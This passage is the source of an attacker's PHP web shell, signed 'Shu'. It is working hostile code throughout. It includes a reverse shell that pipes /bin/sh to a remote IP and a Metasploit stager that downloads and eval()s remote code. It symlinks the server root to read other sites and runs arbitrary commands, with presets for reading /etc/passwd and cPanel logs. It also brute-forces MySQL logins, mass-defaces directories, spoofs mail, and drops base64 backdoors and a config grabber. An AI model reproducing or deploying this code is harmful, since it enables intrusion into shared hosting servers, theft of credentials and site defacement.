$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);$rsport = "443";$rsportb4 = $rsport;$rstarget4 = $s_my_ip;$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo $pwd;?>&amp;x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='".$rstarget4."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='".$rsportb4."' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='".$pwd."' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='".$my_ip."' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if($_POST['metaConnect']){$ipaddr = $_POST['yip'];$port = $_POST['yport'];if ($ip == "" && $port == ""){echo "fill in the blanks";}else {if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}if (is_callable('stream_socket_client')){$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");if (!$msgsock){die();}$msgsock_type = 'stream';}elseif (is_callable('fsockopen')){$msgsock = fsockopen($ipaddr,$port);if (!$msgsock) {die(); }$msgsock_type = 'stream';}elseif (is_callable('socket_create')){$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);$res = socket_connect($msgsock, $ipaddr, $port);if (!$res) {die(); }$msgsock_type = 'socket';}else {die();}switch ($msgsock_type){case 'stream': $len = fread($msgsock, 4); break;case 'socket': $len = socket_read($msgsock, 4); break;}if (!$len) {die();}$a = unpack("Nlen", $len);$len = $a['len'];$buffer = '';while (strlen($buffer) < $len){switch ($msgsock_type) {case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer)); break;case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));break;}}eval($buffer);echo "[*] Connection Terminated";die();}}
if(isset($_REQUEST['sqlportb4'])) $rsportb4 = ss($_REQUEST['sqlportb4']);
if(isset($_REQUEST['rstarget4'])) $rstarget4 = ss($_REQUEST['rstarget4']);
if ($_POST['xback_php']) {$ip = $rstarget4;$port = $rsportb4;$chunk_size = 1337;$write_a = null;$error_a = null;$shell = '/bin/sh';$daemon = 0;$debug = 0;if(function_exists('pcntl_fork')){$pid = pcntl_fork();
if ($pid == -1) exit(1);if ($pid) exit(0);if (posix_setsid() == -1) exit(1);$daemon = 1;}
umask(0);$sock = fsockopen($ip, $port, $errno, $errstr, 30);if(!$sock) exit(1);
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if(!is_resource($process)) exit(1);
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while(1){if(feof($sock)) break;if(feof($pipes[1])) break;$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if(in_array($sock, $read_a)){$input = fread($sock, $chunk_size);fwrite($pipes[0], $input);}
if(in_array($pipes[1], $read_a)){$input = fread($pipes[1], $chunk_size);fwrite($sock, $input);}
if(in_array($pipes[2], $read_a)){$input = fread($pipes[2], $chunk_size);fwrite($sock, $input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);$rsres = " ";$s_result .= $rsres;}
}
////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mail')){
if(isset($_POST['mail_send'])){
	$mail_to = $_POST['mail_to'];
	$mail_from = $_POST['mail_from'];
	$mail_subject = $_POST['mail_subject'];
	$mail_content = magicboom($_POST['mail_content']);
	if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from")){
		$msg = "email sent to $mail_to";
	}
	else $msg = "send email failed";
}
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=mail" method="post">
<table class="cmdbox">
<tr><td>
<textarea class="output" name="mail_content" id="cmd" style="height:340px;"><b>patch me ASAP</b></textarea>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="[email protected]" name="mail_to" />&nbsp; mail to</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="Shu <[email protected]>" name="mail_from" />&nbsp; from</td></tr>
<tr><td>&nbsp;<input class="inputz" style="width:20%;" type="text" value="Warn!" name="mail_subject" />&nbsp; subject</td></tr>
<tr><td>&nbsp;<input style="width:19%;" class="inputzbut" type="submit" value="Go !" name="mail_send" /></td></tr></form>
<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>
<?php }

elseif(isset($_GET['view']) && ($_GET['view'] != "")){
  if(is_file($_GET['view'])){ 
	if(!isset($file)) $file = magicboom($_GET['view']);
	if(!$win && $posix){
		$name=@posix_getpwuid(@fileowner($folder));
		$group=@posix_getgrgid(@filegroup($folder));
		$owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
	}
	else {
		$owner = $user;
	}
	$filn = basename($file);
	echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\">
	<tr><td>Filename</td><td><span id=\"".clearspace($filn)."_link\">".$file."</span>
	<form action=\"?y=".$pwd."&amp;view=$file\" method=\"post\" id=\"".clearspace($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\" />
	</form>
	</td></tr>
	<tr><td>Size</td><td>".ukuran($file)."</td></tr>
	<tr><td>Permission</td><td>".get_perms($file)."</td></tr>
	<tr><td>Owner</td><td>".$owner."</td></tr>
	<tr><td>Create time</td><td>".date("d-M-Y H:i",@filectime($file))."</td></tr>
	<tr><td>Last modified</td><td>".date("d-M-Y H:i",@filemtime($file))."</td></tr>
	<tr><td>Last accessed</td><td>".date("d-M-Y H:i",@fileatime($file))."</td></tr>
	<tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('".clearspace($filn)."_link','".clearspace($filn)."_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr>
	<tr><td>View</td><td><a href=\"?y=".$pwd."&amp;view=".$file."\">text</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=code\">code</a> | <a href=\"?y=".$pwd."&amp;view=".$file."&amp;type=image\">image</a></td></tr>
	</table>
	";
	if(isset($_GET['type']) && ($_GET['type']=='image')){
		echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=".$pwd."&amp;img=".$filn."\"></div>";
	}
	elseif(isset($_GET['type']) && ($_GET['type']=='code')){
		echo "<div class=\"viewfile\">";
		$file = wordwrap(@file_get_contents($file),"240","
");
		@highlight_string($file);
		echo "</div>";
	}
	else {
		echo "<div class=\"viewfile\">";
		echo nl2br(htmlentities((@file_get_contents($file))));
		echo "</div>";
	}
  }
  elseif(is_dir($_GET['view'])){
		echo showdir($pwd,$prompt);
  }
	
}
elseif(isset($_GET['edit']) && ($_GET['edit'] != "")){

		if(isset($_POST['save'])){
			$file = $_POST['saveas'];
			$content = magicboom($_POST['content']);
			if($filez = @fopen($file,"w")){
				$time = date("d-M-Y H:i",time());
				if(@fwrite($filez,$content)) $msg = "file saved <span class=\"gaya\">@</span> ".$time;
				else $msg = "failed to save";
				@fclose($filez);
			}
			else $msg = "permission denied";
		}
		if(!isset($file)) $file = $_GET['edit'];
		if($filez = @fopen($file,"r")){
			$content = "";
			while(!feof($filez)){
				$content .= htmlentities(str_replace("''","'",fgets($filez)));
			}
			@fclose($filez);
		}
	
?>
<form action="?y=<?php echo $pwd; ?>&amp;edit=<?php echo $file; ?>" method="post">
<table class="cmdbox">
<tr><td colspan="2">
<textarea class="output" name="content">
<?php echo $content; ?>
</textarea>
<tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" />
&nbsp;<?php echo $msg; ?></td></tr>
</table>
</form>
<?php
}

/////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hash'))
    {
$submit= $_POST['enter'];
if (isset($submit)) {
$pass = $_POST['password']; // password
$salt = '}#f4ga~g%7hjg4&j(7mk?/!bj30ab-wi=6^7-$^R9F|GK5J#E6WT;IO[JN'; // random string
$hash = md5($pass); // md5 hash #1
$md4 = hash("md4",$pass);
$hash_md5 = md5($salt.$pass); // md5 hash with salt #2
$hash_md5_double = md5(sha1($salt.$pass)); // md5 hash with salt & sha1 #3
$hash1 = sha1($pass); // sha1 hash #4
$sha256 = hash("sha256",$text);
$hash1_sha1 = sha1($salt.$pass); // sha1 hash with salt #5
$hash1_sha1_double = sha1(md5($salt.$pass)); // sha1 hash with salt & md5 #6
}
echo '<br><center><h1>Password Hash</h1></center><div class=content>';
echo '<form action="" method="post"><b><table class=tabnet>';
echo '<tr><th colspan="2">Password Hash</th></center></tr>';
echo '<tr><td><b>Input here :</b></td>';
echo '<td><input class="inputz" type="text" name="password" size="40" />';
echo '<input class="inputzbut" type="submit" name="enter" value="hash" />';
echo '</td></tr><br>';
echo '<tr><th colspan="2">Hasil Hash</th></center></tr>';
echo '<tr><td>Original Password</td><td><input class=inputz type=text size=50 value='.$pass.'></td></tr>';
echo '<tr><td>MD5</td><td><input class=inputz type=text size=50 value='.$hash.'></td></tr>';
echo '<tr><td>MD4</td><td><input class=inputz type=text size=50 value='.$md4.'></td></tr>';
echo '<tr><td>MD5 with Salt</td><td><input class=inputz type=text size=50 value='.$hash_md5.'></td></tr>';
echo '<tr><td>MD5 with Salt & Sha1</td><td><input class=inputz type=text size=50 value='.$hash_md5_double.'></td></tr>';
echo '<tr><td>Sha1</td><td><input class=inputz type=text size=50 value='.$hash1.'></td></tr>';
echo '<tr><td>Sha256</td><td><input class=inputz type=text size=50 value='.$sha256.'></td></tr>';
echo '<tr><td>Sha1 with Salt</td><td><input class=inputz type=text size=50 value='.$hash1_sha1.'></td></tr>';
echo '<tr><td>Sha1 with Salt & MD5</td><td><input class=inputz type=text size=50 value='.$hash1_sha1_double.'></td></tr></table>'; 
}
// symlink function
elseif(isset($_GET['x']) && ($_GET['x'] == 'symlink'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=symlink" method="post">

<?php   

@set_time_limit(0);

echo "<br><br><center><h1>Symlink Server</h1></center><br><br><center><div class=content>";

@mkdir('shu',0777);
$htaccess  = "Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";
$write =@fopen ('shu/.htaccess','w');
fwrite($write ,$htaccess);
@symlink('/','shu/root');
$filelocation = basename(__FILE__);
$read_named_conf = @file('/etc/named.conf');
if(!$read_named_conf)
{
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>"; 
}
else
{
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach($read_named_conf as $subject){
if(eregi('zone',$subject)){
preg_match_all('#zone "(.*)"#',$subject,$string);
flush();
if(strlen(trim($string[1][0])) >2){
$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
$name = $UID['name'] ;
@symlink('/','nginx1337/root');
$name   = $string[1][0];
$iran   = '\.ir';
$israel = '\.il';
$indo   = '\.id';
$sg12   = '\.sg';
$edu    = '\.edu';
$gov    = '\.gov';
$gose   = '\.go';
$gober  = '\.gob';
$mil1   = '\.mil';
$mil2   = '\.mi';
$malay	= '\.my';
$china	= '\.cn';
$japan	= '\.jp';
$austr	= '\.au';
$porn	= '\.xxx';
$as		= '\.uk';
$calfn	= '\.ca';

if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])
or eregi ("$malay",$string[1][0]) or eregi("$china",$string[1][0]) or eregi("$japan",$string[1][0]) or eregi ("$austr",$string[1][0])
or eregi("$porn",$string[1][0]) or eregi("$as",$string[1][0]) or eregi ("$calfn",$string[1][0]))
{
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
}
echo "
<tr>

<td>
<div class='dom'><a target='_blank' href=http://".$string[1][0].'/>'.$name.' </a> </div>
</td>

<td>
'.$UID['name']."
</td>

<td>
<a href='nginx1337/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a>
</td>

</tr></div> ";
flush();
}
}
}
}

echo "</center></table>";   

}

// config grabber
elseif(isset($_GET['x']) && ($_GET['x'] == 'config'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">

<?php

echo "<center/><br/><b><font color=#00ff00>ConfKiller</font></b><br><br>";

  mkdir('pwnz', 0755);
    chdir('pwnz');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , 'w') or die ("Error Bajingan !!!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
		
AddType application/x-httpd-cgi .cpc

AddHandler cgi-script .cc
AddHandler cgi-script .cc";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);

$file = fopen("grab.cc" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("grab.cc",0755);
   echo "<iframe src=pwnz/grab.cc width=97% height=100% frameborder=0></iframe>
   </div>"; 
}
///////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'bypass')) 
{ 
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=bypass" method="post">

<?php
echo "<center/><br/><b><font color=#00ff00>Command Bypass Exploit</font></b><br>
";
print_r('
<pre>
<form method="POST" action="">
<b><font color=#00ff00><b><font color="#00ff00">root@inori:~#</font></font></b><input name="baba" type="text" class="inputz" size="34"><input type="submit" class="inputzbut" value="Go">
</form>
<form method="POST" action=""><strong><b><font color="#00ff00">Menu Bypass : </font></strong><select name="liz0" size="1" class="inputz">
<option value="cat /etc/passwd">/etc/passwd</option>
<option value="netstat -an | grep -i listen">netstat</option>
<option value="cat /var/cpanel/accounting.log">/var/cpanel/accounting.log</option>
<option value="cat /etc/syslog.conf">/etc/syslog.conf</option>
<option value="cat /etc/hosts">/etc/hosts</option>
<option value="cat /etc/named.conf">/etc/named.conf</option>
<option value="cat /etc/httpd/conf/httpd.conf">/etc/httpd/conf/httpd.conf</option>
</select> <input type="submit" class="inputzbut" value="G&ouml;">
</form>
</pre>
');
ini_restore("safe_mode");
ini_restore("open_basedir");
$liz0=shell_exec($_POST[baba]); 
$liz0zim=shell_exec($_POST[liz0]); 
$uid=shell_exec('id');
$server=shell_exec('uname -a');
echo "<pre><h4>";

echo $liz0;
echo $liz0zim;
echo "</h4></pre>";
 "</div>"; }

////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'domain'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=domain" method="post">

<?php

echo '<br><br><center><h1>Local Domain Viewer</h1></center><br><br><div class=content>';

$file = @implode(@file("/etc/named.conf"));
if(!$file){ die("# can't ReaD -> [ /etc/named.conf ]"); }
preg_match_all("#named/(.*?).db#",$file ,$r);
$domains = array_unique($r[1]);
//check();
//if(isset($_GET['ShowAll']))
{
echo "<table align=center border=1 width=59% cellpadding=5>
<tr><td colspan=2>[+] There are : [ <b>".count($domains)."</b> ] Domain</td></tr>
<tr><td>Domain</td><td>User</td></tr>";
foreach($domains as $domain){
$user = posix_getpwuid(@fileowner("/etc/valiases/".$domain));

		echo "<tr><td>$domain</td><td>".$user['name']."</td></tr>";
		}
	echo "</table>";
	}

echo '</div>';
}



//////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#00ff00>Mass Directory</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
	<tr>
	<td>&nbsp;&nbsp;Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
	</tr><br>
	<tr>
	<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="shu.html"></td>
	</tr>
</tr>
<th colspan='2'><b>hacked code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'><html><title>owned by shu1337</title><center>Even if I'm just a fake.. To me, I'm the only.. real one!<br><b>Hacked by Shu</b></center></html></textarea><br>
<center><input class='inputzbut' type='submit' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>

<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jembut'))
			{	
			?>
				<form action="?y=<?php echo $pwd; ?>&amp;x=jembut" method="post">
			<?php
			//bruteforce
?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?php
/*
Recoded By Nabilaholic
*/
@set_time_limit(0);
@error_reporting(0);


if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
    if($_POST['type'] == 'passwd'){
        $e = explode("
",$_POST['usernames']);
        foreach($e as $value){
        $k = explode(":",$value);
        $username .= $k['0']." ";
        }
    }elseif($_POST['type'] == 'simple'){
        $username = str_replace("
",' ',$_POST['usernames']);
    }
    $a1 = explode(" ",$username);
    $a2 = explode("
",$_POST['passwords']);
    $id2 = count($a2);
    $ok = 0;
    foreach($a1 as $user )
    {
        if($user !== '')
        {
        $user=trim($user);
         for($i=0;$i<=$id2;$i++)
         {
            $pass = trim($a2[$i]);
            if(@mysql_connect('localhost',$user,$pass))
            {
                echo "Elsa~ user is (<b><font color=white>$user</font></b>) Password is (<b><font color=red>$pass</font></b>)<br />";
                $ok++;
            }
         }
        }
    }
    echo "<hr><b>You Found <font color=green>$ok</font> Cpanel by Shu</b>";
    echo "<center><b><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
    exit;
}
}
if($_POST['pass']=='password'){
@error_reporting(0);
$i = getenv('REMOTE_ADDR');
$d = date('D, M jS, Y H:i',time());
$h = $_SERVER['HTTP_HOST'];
$dir=$_SERVER['PHP_SELF'];
$back = "PD9waHANCmVjaG8gJzxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwbG9hZGVyIiBpZD0idXBsb2FkZXIiPic7DQplY2hvICc8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+JzsNCmlmKCAkX1BPU1RbJ191cGwnXSA9PSAiVXBsb2FkIiApIHsNCmlmKEBjb3B5KCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwgJF9GSUxFU1snZmlsZSddWyduYW1lJ10pKSB7IGVjaG8gJzxiPktvcmFuZyBEYWggQmVyamF5YSBVcGxvYWQgU2hlbGwgS29yYW5nISEhPGI+PGJyPjxicj4nOyB9DQplbHNlIHsgZWNobyAnPGI+S29yYW5nIEdhZ2FsIFVwbG9hZCBTaGVsbCBLb3JhbmchISE8L2I+PGJyPjxicj4nOyB9DQp9DQo/Pg==";
$file = fopen(".php","w+");
$write = fwrite ($file ,base64_decode($back));
fclose($file);
chmod(".php",0755);
mkdir('config',0755);
$cp =
'IyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoNCicnJw0KQnk6IEFobWVkIFNoYXdreSBha2EgbG54ZzMzaw0KdGh4OiBPYnp5LCBSZWxpaywgbW9oYWIgYW5kICNhcmFicHduIA0KJycnDQoNCmltcG9ydCBzeXMNCmltcG9ydCBvcw0KaW1wb3J0IHJlDQppbXBvcnQgc3VicHJvY2Vzcw0KaW1wb3J0IHVybGxpYg0KaW1wb3J0IGdsb2INCmZyb20gcGxhdGZvcm0gaW1wb3J0IHN5c3RlbQ0KDQppZiBsZW4oc3lzLmFyZ3YpICE9IDM6DQogIHByaW50JycnCQ0KIFVzYWdlOiAlcyBbVVJMLi4uXSBbZGlyZWN0b3J5Li4uXQ0KIEV4KSAlcyBodHRwOi8vd3d3LnRlc3QuY29tL3Rlc3QvIFtkaXIgLi4uXScnJyAlIChzeXMuYXJndlswXSwgc3lzLmFyZ3ZbMF0pDQogIHN5cy5leGl0KDEpDQoNCnNpdGUgPSBzeXMuYXJndlsxXQ0KZm91dCA9IHN5cy5hcmd2WzJdDQoNCnRyeToNCiAgcmVxICA9IHVybGxpYi51cmxvcGVuKHNpdGUpDQogIHJlYWQgPSByZXEucmVhZCgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAndycpDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KICBpZiBzeXN0ZW0oKSA9PSAnV2luZG93cyc6DQogICAgZiA9IG9wZW4oJ2RhdGEudHh0JywgJ3cnKSAgDQogICAgZi53cml0ZShyZWFkKQ0KICAgIGYuY2xvc2UoKQ0KDQogIGkgPSAwDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgZiA9IG9wZW4oJy90bXAvZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBmID0gb3BlbignZGF0YS50eHQnLCAnclUnKQ0KICAgIGZvciBsaW5lIGluIGY6DQogICAgICBpZiBsaW5lLnN0YXJ0c3dpdGgoJzxsaT48YScpID09IFRydWUgOg0KICAgICAgICBtID0gcmUuc2VhcmNoKHInKDxhIGhyZWY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0uZ3JvdXAoMiksIGxvY2FsX25hbWUpDQogICAgICAgIGV4Y2VwdCBJT0Vycm9yOg0KICAgICAgICAgIHByaW50ICdcblslc10gZG9lc25cJ3QgZXhpc3QsIGNyZWF0ZSBpdCBmaXJzdCcgJSBmb3V0DQogICAgICAgICAgc3lzLmV4aXQoKQ0KICAgICAgaWYgbGluZS5zdGFydHN3aXRoKCc8aW1nJykgPT0gVHJ1ZToNCiAgICAgICAgbTEgPSByZS5zZWFyY2gocicoPGEgaHJlZj0iKSguK1tePl0pKCI+KScsIGxpbmUpDQogICAgICAgIGkgKz0gMQ0KICAgICAgICBsb2NhbF9uYW1lID0gJyVzL2ZpbGUlZC50eHQnICUgKGZvdXQsIGkpDQogICAgICAgIHByaW50ICdSZXRyaWV2aW5nLi4uXHRcdCcsIHNpdGUgKyBtMS5ncm91cCgyKQ0KICAgICAgICB0cnk6ICB1cmxsaWIudXJscmV0cmlldmUoc2l0ZSArIG0xLmdyb3VwKDIpLCBsb2NhbF9uYW1lKQ0KICAgICAgICBleGNlcHQgSU9FcnJvcjoNCiAgICAgICAgICBwcmludCAnXG5bJXNdIGRvZXNuXCd0IGV4aXN0LCBjcmVhdGUgaXQgZmlyc3QnICUgZm91dA0KICAgICAgICAgIHN5cy5leGl0KCkNCiAgICAgIGlmIGxpbmUuc3RhcnRzd2l0aCgnPElNRycpID09IFRydWU6DQogICAgICAgIG0yID0gcmUuc2VhcmNoKHInKDxBIEhSRUY9IikoLitbXj5dKSgiPiknLCBsaW5lKQ0KICAgICAgICBpICs9IDENCiAgICAgICAgbG9jYWxfbmFtZSA9ICclcy9maWxlJWQudHh0JyAlIChmb3V0LCBpKQ0KICAgICAgICBwcmludCAnUmV0cmlldmluZy4uLlx0XHQnLCBzaXRlICsgbTIuZ3JvdXAoMikNCiAgICAgICAgdHJ5OiAgdXJsbGliLnVybHJldHJpZXZlKHNpdGUgKyBtMi5ncm91cCgyKSwgbG9jYWxfbmFtZSkNCiAgICAgICAgZXhjZXB0IElPRXJyb3I6DQogICAgICAgICAgcHJpbnQgJ1xuWyVzXSBkb2VzblwndCBleGlzdCwgY3JlYXRlIGl0IGZpcnN0JyAlIGZvdXQNCiAgICAgICAgICBzeXMuZXhpdCgpDQogICAgZi5jbG9zZSgpDQogIGlmIHN5c3RlbSgpID09ICdMaW51eCc6DQogICAgY2xlYW51cCA9IHN1YnByb2Nlc3MuUG9wZW4oJ3JtIC1yZiAvdG1wL2RhdGEudHh0ID4gL2Rldi9udWxsJywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIGlmIHN5c3RlbSgpID09ICdXaW5kb3dzJzoNCiAgICBjbGVhbnVwID0gc3VicHJvY2Vzcy5Qb3BlbignZGVsIEM6XGRhdGEudHh0Jywgc2hlbGw9VHJ1ZSkud2FpdCgpDQogIHByaW50IC